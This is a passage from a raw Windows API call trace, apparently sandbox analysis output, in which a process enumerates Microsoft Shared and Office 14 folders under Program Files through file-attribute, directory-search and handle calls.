(normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.371] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0267.371] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.371] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0267.371] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.371] NtClose (Handle=0x194) returned 0x0 [0267.371] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0267.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945170 [0267.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9451f8 [0267.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9497b0 [0267.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0267.372] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9583c8 [0267.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0267.372] GetLastError () returned 0x12 [0267.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549100 [0267.372] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.372] GetLastError () returned 0x12 [0267.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9583c8) returned 1 [0267.372] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0267.372] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0267.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.373] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0267.373] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.373] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0267.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.373] NtClose (Handle=0x198) returned 0x0 [0267.373] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0267.374] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9451f8 [0267.374] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945170 [0267.374] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.374] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549100 [0267.374] GetLastError () returned 0x12 [0267.374] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0267.374] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.375] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.375] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.375] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.375] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.375] NtClose (Handle=0x198) returned 0x0 [0267.375] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.375] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.375] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.375] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.376] GetLastError () returned 0x12 [0267.376] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.376] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.376] GetLastError () returned 0x12 [0267.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.376] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0267.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.376] GetLastError () returned 0x12 [0267.376] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.376] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945170) returned 1 [0267.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0267.377] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0267.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.377] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0267.377] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.377] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0267.377] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.377] NtClose (Handle=0x194) returned 0x0 [0267.378] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9451f8) returned 1 [0267.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9451f8 [0267.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945170 [0267.378] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x5490c0 [0267.378] GetLastError () returned 0x12 [0267.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0267.378] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.391] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.391] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.392] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.392] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.392] NtClose (Handle=0x194) returned 0x0 [0267.392] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.392] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.392] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945170 [0267.392] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x5490c0 [0267.398] GetLastError () returned 0x12 [0267.398] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.398] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.399] GetLastError () returned 0x12 [0267.399] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.399] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.400] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9585d8) returned 1 [0267.400] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.400] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.400] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.400] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.400] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.401] NtClose (Handle=0x198) returned 0x0 [0267.401] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9585d8) returned 1 [0267.401] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.401] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.401] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9585d8 [0267.401] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.401] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958b00 [0267.401] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.401] GetLastError () returned 0x12 [0267.401] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x5490c0 [0267.401] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.401] GetLastError () returned 0x12 [0267.401] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958b00) returned 1 [0267.401] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.402] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958c08) returned 1 [0267.402] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9585d8) returned 1 [0267.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.402] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.402] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.402] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.402] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.402] NtClose (Handle=0x194) returned 0x0 [0267.403] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9585d8) returned 1 [0267.403] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.403] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.403] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x9585d8 [0267.403] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.403] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958c08 [0267.403] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x5490c0 [0267.548] GetLastError () returned 0x12 [0267.554] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.554] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0267.597] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.597] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.605] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.605] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.606] NtClose (Handle=0x194) returned 0x0 [0267.611] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0267.611] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.611] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0267.611] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0267.684] GetLastError () returned 0x12 [0267.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0267.684] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0267.685] GetLastError () returned 0x12 [0267.685] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0267.685] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0267.686] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0267.686] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0267.760] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0267.760] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95a478 [0267.761] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95a478, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95a478, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0267.761] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95a478) returned 1 [0267.761] NtClose (Handle=0x190) returned 0x0 [0267.761] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0267.761] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.761] 